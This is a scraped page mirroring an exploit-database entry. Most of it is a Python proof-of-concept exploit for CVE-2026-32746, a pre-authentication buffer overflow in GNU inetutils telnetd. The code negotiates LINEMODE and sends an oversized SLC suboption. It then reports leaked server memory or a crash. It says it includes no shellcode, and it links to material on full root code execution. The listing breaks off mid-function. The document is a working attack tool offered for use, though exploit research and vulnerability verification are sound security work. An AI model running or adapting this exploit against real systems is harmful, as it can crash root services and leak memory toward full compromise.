{"id":52111,"date":"2026-05-07T10:34:46","date_gmt":"2026-05-07T10:34:46","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=52111"},"modified":"2026-05-07T10:34:46","modified_gmt":"2026-05-07T10:34:46","slug":"telnetd-27-buffer-overflow","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=52111","title":{"rendered":"telnetd 2.7 &#8211; Buffer Overflow_EDB-ID:52556"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-07T15:27:58&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: telnetd 2.7 &#8211; Buffer Overflow Google Dork: N\/A Date: 2026-04-03 Exploit Author: Jeff Barron jeffaf Vendor Homepage: https:\/\/www.gnu.org\/software\/inetutils\/ Software Link: https:\/\/ftp.gnu.org\/gnu\/inetutils\/ Version: inetutils-telnetd&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-07T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-07T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;telnetd 2.7 &#8211; Buffer Overflow&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;EDB-ID:52556&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-32746&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: telnetd 2.7 &#8211; Buffer Overflow\\r\\n# Google Dork: N\/A\\r\\n# Date: 2026-04-03\\r\\n# Exploit Author: Jeff Barron (jeffaf)\\r\\n# Vendor Homepage: https:\/\/www.gnu.org\/software\/inetutils\/\\r\\n# Software Link: https:\/\/ftp.gnu.org\/gnu\/inetutils\/\\r\\n# Version: inetutils-telnetd through 2.7 (patch pending in next release)\\r\\n# Tested on: Debian Linux (inetutils-telnetd 2.4 under xinetd, Docker lab)\\r\\n# CVE: CVE-2026-32746\\r\\n# CVSS: 9.8 (AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H)\\r\\n#\\r\\n# References:\\r\\n#   DREAM Advisory:  https:\/\/dreamgroup.com\/vulnerability-advisory-pre-auth-remote-code-execution-via-buffer-overflow-in-telnetd-linemode-slc-handler\/\\r\\n#   WatchTowr:       https:\/\/labs.watchtowr.com\/\\r\\n#   GNU Disclosure:  https:\/\/lists.gnu.org\/archive\/html\/bug-inetutils\/2026-03\/msg00031.html\\r\\n#   Fix (PR #17):    https:\/\/codeberg.org\/inetutils\/inetutils\/pulls\/17\\r\\n#   NVD:             https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2026-32746\\r\\n#\\r\\n# Notes:\\r\\n#   The add_slc() function in telnetd\/slc.c appends 3 bytes per SLC triplet to a\\r\\n#   fixed 108-byte buffer (slcbuf) with no bounds checking. Sending a crafted\\r\\n#   LINEMODE SLC suboption with 40+ triplets (function codes \\u003e NSLC\/18) during\\r\\n#   initial option negotiation &#8212; before any login prompt &#8212; overflows slcbuf,\\r\\n#   corrupts the slcptr pointer, and leaks adjacent BSS data in the server\\r\\n#   response. telnetd runs as root via inetd\/xinetd; the vendor advisory (DREAM\\r\\n#   Security, Advisory ID: VULN-TELNETD-SLC-2025, published 2026-03-13) confirms\\r\\n#   full pre-auth RCE as root is achievable. This PoC demonstrates and verifies\\r\\n#   the overflow via response analysis (BSS leak in server reply). It does NOT\\r\\n#   include shellcode or a ROP chain. Full exploitation analysis including byte\\r\\n#   constraints, alignment techniques, and the def_slcbuf\/free() primitive on\\r\\n#   32-bit systems is covered in the WatchTowr writeup linked above.\\r\\n#   Docker lab: https:\/\/github.com\/jeffaf\/cve-2026-32746\\r\\n#\\r\\n#   Vulnerability discovered by: Adiel Sol, Arad Inbar, Erez Cohen, Nir Somech,\\r\\n#   Ben Grinberg, Daniel Lubel (Dream Security Research Labs). Disclosed 2026-03-13.\\r\\n#   This is an independent PoC implementation.\\r\\n\\r\\n\\&#8221;\\&#8221;\\&#8221;\\r\\nCVE-2026-32746 &#8211; telnetd LINEMODE SLC Buffer Overflow PoC\\r\\n==========================================================\\r\\n\\r\\nTriggers an out-of-bounds write in GNU InetUtils telnetd&#8217;s SLC handler\\r\\nby sending a crafted LINEMODE SLC suboption with excess triplets.\\r\\n\\r\\nThe overflow corrupts the slcptr pointer in BSS. When end_slc() runs,\\r\\nit writes via the corrupted pointer. The server&#8217;s SLC response contains\\r\\nthe overflow data (leaked BSS bytes), providing direct proof.\\r\\n\\r\\nThis PoC demonstrates and verifies the overflow via response analysis.\\r\\nIt does NOT achieve code execution.\\r\\n\\r\\nUsage:\\r\\n    python3 exploit.py \\u003ctarget_ip\\u003e [port]\\r\\n\\r\\nFor authorized security testing only.\\r\\n\\&#8221;\\&#8221;\\&#8221;\\r\\n\\r\\nimport argparse\\r\\nimport socket\\r\\nimport sys\\r\\nimport time\\r\\n\\r\\n# Telnet protocol bytes\\r\\nIAC  = 0xFF\\r\\nDONT = 0xFE\\r\\nDO   = 0xFD\\r\\nWONT = 0xFC\\r\\nWILL = 0xFB\\r\\nSB   = 0xFA\\r\\nSE   = 0xF0\\r\\n\\r\\n# Options\\r\\nOPT_ECHO        = 0x01\\r\\nOPT_SGA         = 0x03\\r\\nOPT_TTYPE       = 0x18  # 24\\r\\nOPT_TSPEED      = 0x20  # 32\\r\\nOPT_LINEMODE    = 0x22  # 34\\r\\nOPT_XDISPLOC   = 0x23  # 35\\r\\nOPT_OLD_ENVIRON = 0x24  # 36\\r\\nOPT_NEW_ENVIRON = 0x27  # 39\\r\\nOPT_NAWS        = 0x1F  # 31\\r\\n\\r\\n# LINEMODE suboption codes\\r\\nLM_SLC = 0x03\\r\\n\\r\\n# SLC constants from source\\r\\nNSLC = 18  # Number of defined SLC functions\\r\\n\\r\\n# Buffer geometry\\r\\nSLCBUF_SIZE    = 108  # Total slcbuf allocation\\r\\nSLCBUF_USABLE  = 104  # Usable after 4-byte header (IAC SB LINEMODE SLC)\\r\\n\\r\\n\\r\\ndef recv_all(s, timeout=2):\\r\\n    \\&#8221;\\&#8221;\\&#8221;Receive all available data with a timeout.\\&#8221;\\&#8221;\\&#8221;\\r\\n    s.settimeout(timeout)\\r\\n    chunks = []\\r\\n    try:\\r\\n        while True:\\r\\n            chunk = s.recv(4096)\\r\\n            if not chunk:\\r\\n                break\\r\\n            chunks.append(chunk)\\r\\n    except socket.timeout:\\r\\n        pass\\r\\n    return b&#8221;.join(chunks)\\r\\n\\r\\n\\r\\ndef negotiate_linemode(s):\\r\\n    \\&#8221;\\&#8221;\\&#8221;Complete telnet negotiation and enter LINEMODE.\\r\\n\\r\\n    Full negotiation is required: the server only processes SLC and\\r\\n    returns responses after all expected suboptions (TTYPE, TSPEED,\\r\\n    XDISPLOC, NEW_ENVIRON, NAWS) have been received.\\r\\n    \\&#8221;\\&#8221;\\&#8221;\\r\\n    # Round 1: Read server&#8217;s initial option offers\\r\\n    print(\\&#8221;[*] Phase 1: Reading server negotiation&#8230;\\&#8221;)\\r\\n    time.sleep(1)\\r\\n\\r\\n    try:\\r\\n        data = recv_all(s)\\r\\n    except ConnectionResetError:\\r\\n        # Server closed connection before we could send or receive\\r\\n        print(f\\&#8221;[-] Connection reset during negotiation\\&#8221;)\\r\\n        return False\\r\\n\\r\\n    if not data:\\r\\n        print(\\&#8221;[-] No negotiation data received\\&#8221;)\\r\\n        return False\\r\\n\\r\\n    print(f\\&#8221;    Received {len(data)} bytes of negotiation\\&#8221;)\\r\\n\\r\\n    # Build responses: accept everything, add WILL LINEMODE\\r\\n    resp = bytearray()\\r\\n    i = 0\\r\\n    while i \\u003c len(data) &#8211; 2:\\r\\n        if data[i] == IAC:\\r\\n            cmd = data[i + 1]\\r\\n            opt = data[i + 2]\\r\\n            if cmd == DO:\\r\\n                resp.extend([IAC, WILL, opt])\\r\\n            elif cmd == WILL:\\r\\n                resp.extend([IAC, DO, opt])\\r\\n            i += 3\\r\\n        else:\\r\\n            i += 1\\r\\n\\r\\n    # Proactively offer LINEMODE (triggers server&#8217;s SLC handler)\\r\\n    resp.extend([IAC, WILL, OPT_LINEMODE])\\r\\n\\r\\n    # Required suboption responses &#8211; server stalls without these\\r\\n    resp.extend([IAC, SB, OPT_TTYPE, 0x00])\\r\\n    resp.extend(b&#8217;xterm&#8217;)\\r\\n    resp.extend([IAC, SE])\\r\\n\\r\\n    resp.extend([IAC, SB, OPT_TSPEED, 0x00])\\r\\n    resp.extend(b&#8217;38400,38400&#8242;)\\r\\n    resp.extend([IAC, SE])\\r\\n\\r\\n    resp.extend([IAC, SB, OPT_XDISPLOC, 0x00])\\r\\n    resp.extend(b&#8217;:0&#8242;)\\r\\n    resp.extend([IAC, SE])\\r\\n\\r\\n    resp.extend([IAC, SB, OPT_NEW_ENVIRON, 0x00, IAC, SE])\\r\\n    resp.extend([IAC, SB, OPT_OLD_ENVIRON, 0x00, IAC, SE])\\r\\n\\r\\n    s.send(resp)\\r\\n    print(f\\&#8221;    Sent {len(resp)} bytes (negotiation + WILL LINEMODE)\\&#8221;)\\r\\n\\r\\n    # Round 2: Server sends DO LINEMODE + additional option requests\\r\\n    print(\\&#8221;[*] Phase 2: Completing negotiation&#8230;\\&#8221;)\\r\\n    time.sleep(1)\\r\\n    data2 = recv_all(s, timeout=3)\\r\\n\\r\\n    if not data2:\\r\\n        print(\\&#8221;[-] No response to LINEMODE offer\\&#8221;)\\r\\n        return False\\r\\n\\r\\n    got_linemode = False\\r\\n    resp2 = bytearray()\\r\\n    i = 0\\r\\n    while i \\u003c len(data2) &#8211; 2:\\r\\n        if data2[i] == IAC:\\r\\n            cmd = data2[i + 1]\\r\\n            if cmd == SB:\\r\\n                # Find end of suboption\\r\\n                j = i + 2\\r\\n                while j \\u003c len(data2) &#8211; 1:\\r\\n                    if data2[j] == IAC and data2[j + 1] == SE:\\r\\n                        break\\r\\n                    j += 1\\r\\n                opt = data2[i + 2]\\r\\n                if opt == OPT_TTYPE and i + 3 \\u003c len(data2) and data2[i + 3] == 0x01:\\r\\n                    resp2.extend([IAC, SB, OPT_TTYPE, 0x00])\\r\\n                    resp2.extend(b&#8217;xterm&#8217;)\\r\\n                    resp2.extend([IAC, SE])\\r\\n                elif opt == OPT_NEW_ENVIRON:\\r\\n                    resp2.extend([IAC, SB, OPT_NEW_ENVIRON, 0x00, IAC, SE])\\r\\n                i = j + 2\\r\\n            elif cmd == DO:\\r\\n                opt = data2[i + 2]\\r\\n                if opt == OPT_LINEMODE:\\r\\n                    got_linemode = True\\r\\n                resp2.extend([IAC, WILL, opt])\\r\\n                if opt == OPT_NAWS:\\r\\n                    resp2.extend([IAC, SB, OPT_NAWS,\\r\\n                                  0x00, 0x50, 0x00, 0x18, IAC, SE])\\r\\n                i += 3\\r\\n            elif cmd == WILL:\\r\\n                resp2.extend([IAC, DO, data2[i + 2]])\\r\\n                i += 3\\r\\n            elif cmd in (DONT, WONT):\\r\\n                i += 3\\r\\n            else:\\r\\n                i += 2\\r\\n        else:\\r\\n            i += 1\\r\\n\\r\\n    if resp2:\\r\\n        s.send(resp2)\\r\\n\\r\\n    if got_linemode:\\r\\n        print(\\&#8221;[+] Server accepted LINEMODE (DO LINEMODE received)\\&#8221;)\\r\\n    else:\\r\\n        print(\\&#8221;[-] Server did not accept LINEMODE\\&#8221;)\\r\\n        print(\\&#8221;    This may not be GNU InetUtils telnetd\\&#8221;)\\r\\n        return False\\r\\n\\r\\n    # Round 3: Wait for terminal setup and login prompt\\r\\n    # Server sends SLC defaults + login prompt after full negotiation\\r\\n    time.sleep(3)\\r\\n    data3 = recv_all(s, timeout=5)\\r\\n    if data3:\\r\\n        # Respond to any remaining option requests\\r\\n        resp3 = bytearray()\\r\\n        i = 0\\r\\n        while i \\u003c len(data3) &#8211; 2:\\r\\n            if data3[i] == IAC:\\r\\n                cmd = data3[i + 1]\\r\\n                if cmd == DO:\\r\\n                    resp3.extend([IAC, WILL, data3[i + 2]])\\r\\n                    i += 3\\r\\n                elif cmd == WILL:\\r\\n                    resp3.extend([IAC, DO, data3[i + 2]])\\r\\n                    i += 3\\r\\n                elif cmd == SB:\\r\\n                    j = i + 2\\r\\n                    while j \\u003c len(data3) &#8211; 1:\\r\\n                        if data3[j] == IAC and data3[j + 1] == SE:\\r\\n                            break\\r\\n                        j += 1\\r\\n                    i = j + 2\\r\\n                else:\\r\\n                    i += 3 if cmd in (DONT, WONT) else i + 2\\r\\n            else:\\r\\n                i += 1\\r\\n        if resp3:\\r\\n            s.send(resp3)\\r\\n\\r\\n    return True\\r\\n\\r\\n\\r\\ndef build_slc_payload(num_triplets):\\r\\n    \\&#8221;\\&#8221;\\&#8221;Build a malicious SLC suboption with overflow triplets.\\r\\n\\r\\n    Each triplet has a function code \\u003e NSLC (18), which forces\\r\\n    add_slc() to queue a \\&#8221;not supported\\&#8221; reply. After ~35 triplets,\\r\\n    the 104-byte response buffer overflows.\\r\\n\\r\\n    Buffer math:\\r\\n      slcbuf = 108 bytes total\\r\\n      Header = 4 bytes (IAC SB LINEMODE LM_SLC)\\r\\n      Usable = 104 bytes\\r\\n      Per triplet reply = 3 bytes\\r\\n      Overflow at: 104 \/ 3 = ~34.6 -\\u003e triplet 35\\r\\n    \\&#8221;\\&#8221;\\&#8221;\\r\\n    payload = bytearray()\\r\\n\\r\\n    # Suboption header: IAC SB LINEMODE LM_SLC\\r\\n    payload.extend([IAC, SB, OPT_LINEMODE, LM_SLC])\\r\\n\\r\\n    # SLC triplets: (function, flags, value)\\r\\n    # function \\u003e NSLC triggers the vulnerable add_slc() path\\r\\n    for i in range(num_triplets):\\r\\n        func = NSLC + 1 + i\\r\\n        if func \\u003e= IAC:  # Can&#8217;t use 0xFF (IAC) in data\\r\\n            func = 0xFE\\r\\n        payload.extend([func, 0x02, 0x00])  # flag=SLC_NOSUPPORT, value=0\\r\\n\\r\\n    # Suboption trailer: IAC SE\\r\\n    payload.extend([IAC, SE])\\r\\n\\r\\n    return payload\\r\\n\\r\\n\\r\\ndef find_slc_response(data):\\r\\n    \\&#8221;\\&#8221;\\&#8221;Extract SLC suboption body from telnet data.\\r\\n\\r\\n    Returns the SLC body bytes (between header and IAC SE),\\r\\n    or None if no SLC suboption found.\\r\\n    \\&#8221;\\&#8221;\\&#8221;\\r\\n    i = 0\\r\\n    while i \\u003c len(data) &#8211; 3:\\r\\n        if (data[i] == IAC and data[i + 1] == SB and\\r\\n                data[i + 2] == OPT_LINEMODE and\\r\\n                i + 3 \\u003c len(data) and data[i + 3] == LM_SLC):\\r\\n            # Found SLC suboption, extract body until IAC SE\\r\\n            k = i + 4\\r\\n            while k \\u003c len(data) &#8211; 1:\\r\\n                if data[k] == IAC and data[k + 1] == SE:\\r\\n                    return data[i + 4:k]\\r\\n                k += 1\\r\\n            # Unterminated &#8211; return what we have\\r\\n            return data[i + 4:]\\r\\n        i += 1\\r\\n    return None\\r\\n\\r\\n\\r\\ndef check_service_alive(host, port):\\r\\n    \\&#8221;\\&#8221;\\&#8221;Verify service state with a fresh connection.\\&#8221;\\&#8221;\\&#8221;\\r\\n    try:\\r\\n        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\r\\n        s.settimeout(5)\\r\\n        s.connect((host, port))\\r\\n        probe = recv_all(s, timeout=3)\\r\\n        s.close()\\r\\n        return True, len(probe)\\r\\n    except (socket.error, OSError):\\r\\n        return False, 0\\r\\n\\r\\n\\r\\ndef exploit(host, port, triplets, timeout):\\r\\n    \\&#8221;\\&#8221;\\&#8221;Send the SLC overflow payload and verify via response analysis.\\&#8221;\\&#8221;\\&#8221;\\r\\n\\r\\n    print(f\\&#8221;\\\\n{&#8216;=&#8217; * 60}\\&#8221;)\\r\\n    print(f\\&#8221;  CVE-2026-32746 &#8211; telnetd SLC Buffer Overflow PoC\\&#8221;)\\r\\n    print(f\\&#8221;{&#8216;=&#8217; * 60}\\&#8221;)\\r\\n    print(f\\&#8221;  Target:   {host}:{port}\\&#8221;)\\r\\n    print(f\\&#8221;  Triplets: {triplets} (overflow at ~35)\\&#8221;)\\r\\n    print(f\\&#8221;{&#8216;=&#8217; * 60}\\\\n\\&#8221;)\\r\\n\\r\\n    # Connect\\r\\n    try:\\r\\n        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\r\\n        s.settimeout(timeout)\\r\\n        s.connect((host, port))\\r\\n        print(f\\&#8221;[+] Connected to {host}:{port}\\&#8221;)\\r\\n    except (socket.error, OSError) as e:\\r\\n        print(f\\&#8221;[-] Connection failed: {e}\\&#8221;)\\r\\n        return False\\r\\n\\r\\n    # Negotiate into LINEMODE\\r\\n    if not negotiate_linemode(s):\\r\\n        print(\\&#8221;\\\\n[-] Failed to enter LINEMODE &#8211; cannot trigger vulnerability\\&#8221;)\\r\\n        s.close()\\r\\n        return False\\r\\n\\r\\n    # Build and send the overflow payload\\r\\n    payload = build_slc_payload(triplets)\\r\\n    data_bytes = triplets * 3\\r\\n    overflow_bytes = data_bytes &#8211; SLCBUF_USABLE\\r\\n    print(f\\&#8221;\\\\n[*] Phase 3: Sending malicious SLC suboption\\&#8221;)\\r\\n    print(f\\&#8221;    Payload size:  {len(payload)} bytes\\&#8221;)\\r\\n    print(f\\&#8221;    SLC triplets:  {triplets}\\&#8221;)\\r\\n    print(f\\&#8221;    Buffer size:   {SLCBUF_USABLE} bytes (usable)\\&#8221;)\\r\\n    print(f\\&#8221;    Data written:  {data_bytes} bytes\\&#8221;)\\r\\n    print(f\\&#8221;    Overflow:      {overflow_bytes} bytes past buffer end\\&#8221;)\\r\\n\\r\\n    try:\\r\\n        s.send(payload)\\r\\n        print(f\\&#8221;[+] Payload sent\\&#8221;)\\r\\n    except (BrokenPipeError, ConnectionResetError):\\r\\n        print(\\&#8221;[+] Connection reset during send &#8211; server crashed\\&#8221;)\\r\\n        s.close()\\r\\n        return True\\r\\n\\r\\n    # Phase 4: Verify overflow via SLC response analysis\\r\\n    print(f\\&#8221;\\\\n[*] Phase 4: Analyzing server response&#8230;\\&#8221;)\\r\\n    time.sleep(2)\\r\\n\\r\\n    overflow_confirmed = False\\r\\n    crash_detected = False\\r\\n\\r\\n    try:\\r\\n        resp = recv_all(s, timeout=3)\\r\\n        if resp:\\r\\n            slc_body = find_slc_response(resp)\\r\\n            if slc_body is not None:\\r\\n                print(f\\&#8221;    SLC response body: {len(slc_body)} bytes\\&#8221;)\\r\\n                print(f\\&#8221;    Expected (no overflow): {SLCBUF_USABLE} bytes max\\&#8221;)\\r\\n\\r\\n                if len(slc_body) \\u003e SLCBUF_USABLE:\\r\\n                    leak_count = len(slc_body) &#8211; SLCBUF_USABLE\\r\\n                    overflow_confirmed = True\\r\\n                    print(f\\&#8221;[+] OVERFLOW CONFIRMED: {leak_count} bytes past buffer boundary\\&#8221;)\\r\\n                    print(f\\&#8221;    Server response contains leaked BSS memory\\&#8221;)\\r\\n\\r\\n                    # Show leaked data\\r\\n                    leaked = slc_body[SLCBUF_USABLE:]\\r\\n                    hex_dump = &#8216; &#8216;.join(f'{b:02x}&#8217; for b in leaked[:48])\\r\\n                    print(f\\&#8221;    Leaked BSS: {hex_dump}\\&#8221;\\r\\n                          f\\&#8221;{&#8216;&#8230;&#8217; if len(leaked) \\u003e 48 else &#8221;}\\&#8221;)\\r\\n                elif len(slc_body) == data_bytes:\\r\\n                    # Server wrote all triplet data without truncation\\r\\n                    overflow_confirmed = True\\r\\n                    print(f\\&#8221;[+] OVERFLOW CONFIRMED: server wrote {len(slc_body)} bytes \\&#8221;\\r\\n                          f\\&#8221;into {SLCBUF_USABLE}-byte buffer\\&#8221;)\\r\\n                else:\\r\\n                    print(f\\&#8221;[!] SLC response within buffer bounds ({len(slc_body)} bytes)\\&#8221;)\\r\\n            else:\\r\\n                print(f\\&#8221;[!] Server responded ({len(resp)} bytes) but no SLC suboption found\\&#8221;)\\r\\n        else:\\r\\n            print(\\&#8221;[!] No response data received\\&#8221;)\\r\\n    except (ConnectionResetError, BrokenPipeError, OSError) as e:\\r\\n        print(f\\&#8221;[+] Connection error after payload: {e}\\&#8221;)\\r\\n        crash_detected = True\\r\\n\\r\\n    s.close()\\r\\n\\r\\n    # Verify service state regardless of response analysis\\r\\n    if not overflow_confirmed and not crash_detected:\\r\\n        print(\\&#8221;\\\\n[*] Checking service state with fresh connection&#8230;\\&#8221;)\\r\\n        alive, probe_len = check_service_alive(host, port)\\r\\n        if alive:\\r\\n            print(f\\&#8221;[*] Service still running ({probe_len} bytes on connect)\\&#8221;)\\r\\n            print(\\&#8221;[!] Overflow could not be verified via response analysis\\&#8221;)\\r\\n            print(\\&#8221;    Server may require additional negotiation steps,\\&#8221;)\\r\\n            print(\\&#8221;    or this telnetd version may not be vulnerable\\&#8221;)\\r\\n        else:\\r\\n            print(\\&#8221;[+] Service is DOWN after payload &#8211; crash confirmed\\&#8221;)\\r\\n            crash_detected = True\\r\\n\\r\\n    # Final verdict\\r\\n    if overflow_confirmed:\\r\\n        print(f\\&#8221;\\\\n[+] VULNERABLE &#8211; CVE-2026-32746 confirmed\\&#8221;)\\r\\n        print(f\\&#8221;    Out-of-bounds write in SLC handler verified\\&#8221;)\\r\\n        print(f\\&#8221;    Server response proves buffer overflow occurred\\&#8221;)\\r\\n        return True\\r\\n    elif crash_detected:\\r\\n        print(f\\&#8221;\\\\n[+] VULNERABLE &#8211; CVE-2026-32746 (crash)\\&#8221;)\\r\\n        print(f\\&#8221;    Server process terminated after overflow payload\\&#8221;)\\r\\n        return True\\r\\n    else:\\r\\n        print(f\\&#8221;\\\\n[-] Could not confirm vulnerability\\&#8221;)\\r\\n        return False\\r\\n\\r\\n\\r\\ndef main():\\r\\n    parser = argparse.ArgumentParser(\\r\\n        description=\\&#8221;CVE-2026-32746 &#8211; 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